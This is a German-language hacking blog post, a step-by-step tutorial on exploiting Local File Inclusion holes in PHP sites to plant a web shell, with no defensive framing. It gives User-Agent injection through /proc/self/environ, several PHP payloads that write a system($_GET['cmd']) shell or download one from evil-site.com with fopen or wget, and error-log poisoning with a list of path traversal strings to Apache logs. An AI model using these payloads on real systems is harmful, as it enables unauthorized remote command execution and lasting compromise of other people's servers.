R3s1stanc3

Ich bin root, ich darf das!

LFI Ausnutzen (Shell Spawnen)

Mit einer reinen LFI Lücke kann man nicht immer etwas anfangen.
Hier ein paar Anregungen, was man doch alles rausholen kann

Hier sind 2 Möglichkeiten, wie man eine LFI-Lücke ausnutzen kann:

Was wir brauchen:
– eine verwundbare Seite

  1. Code per UserAgent einschleusen:

Um Code über den UserAgent einzuschleusen, müssen wir diesen ersteinmal auf der Seite ausgeben. Das geht folgendermaßen:
Wir versuchen die Datei /proc/self/environ zu includen. Also

1
http://site.com/index.php?page=/proc/self/environ?

Wenn wir eine ähnliche Ausgabe wie diese erhalten, ist diese Technik möglich.

Useragent
1
HTTP_USER_AGENT=Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0

Jetzt brauchen wir ein Firefox Plugin Namens Tamper Data, das es uns ermöglicht, einen manupulierten UserAgent zu übergeben.
Wir starten Tamper Data (Extras –> Tamper Data) und klicken links oben auf “Start Tamper”. Jetzt müssen wir die Seite mit includeter /proc/self/environ neuladen. Tamper Data frägt gleich was wir machen wollen. Wir klicken auf “Tamper” und können in der zweiten Zeile den UserAgent bearbeiten. Es gibt jetzt mehrere Möglichkeiten, eine PHP-Shell zu spawnen:

a)

Spawn Shell
1
<?php $datei = fopen("shell.php","w+"); fwrite($datei,'<?php system($_GET["cmd"]); ?>'); fclose($datei); ?>

In die Datei shell.php wird der Code

Shell
1
<?php system($_GET["cmd"]); ?>

geschrieben. Dadurch haben wir die einfachste Shell überhaupt und können mit dem Aufruf http://site.com/shell.php?cmd=[command] beliebige Befehle ausführen (z.B. http://site.com/shell.php?cmd=ls).

b)

Spanw Shell 2
1
2
<?php $datei = fopen("shell.php","w+");$stream = fopen("http://evil-site.com/shell.txt", "r");while (!feof($stream)) {
$shell .= fgets($stream); } fwrite($datei,$shell) ;fclose($stream);fclose($datei); ?>

Hier wird die Textdatei shell.txt auf http://evil-site.com eingelesen und in die Datei shell.php geschrieben. Dadurch lassen sich auch komplexere Shells (c99, c100, …) spawnen.

c)

Spawn Shell 3
1
<? exec('wget http://evil-site.com/shell.txt -O shell.php'); ?>

oder

Spawn Shell 3.5
1
<? system('wget http://evil-site.com/shell.txt -O shell.php'); ?>

Ähnliches Prinzip wie bei b), nur dass man versucht die Shell per wget auf den Server zu laden.

  1. Code per Error Log einschleusen:

Hier wird versucht, PHP Code in die Logs zu schreiben, und die Log Datei dannach einzubinden.
Mögliche Pfade zu den Log Files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
../apache/logs/error.log
../../apache/logs/error.log
../../../apache/logs/error.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Wenn man die Datei eingebunden hat, verbindet man sich per Telnet auf den Server

telnet site.com 80

und schickt den Befehl

GET/[PHP Code um Shell zu spawnen]

an den Server. Da dieser mit dem Befehl nichts anfangen kann, wird er in die error.log geschrieben und bei erneutem aufrufen der Logdatei ausgeführt.
Et voilà: Wir haben unsere Shell wieder auf dem Server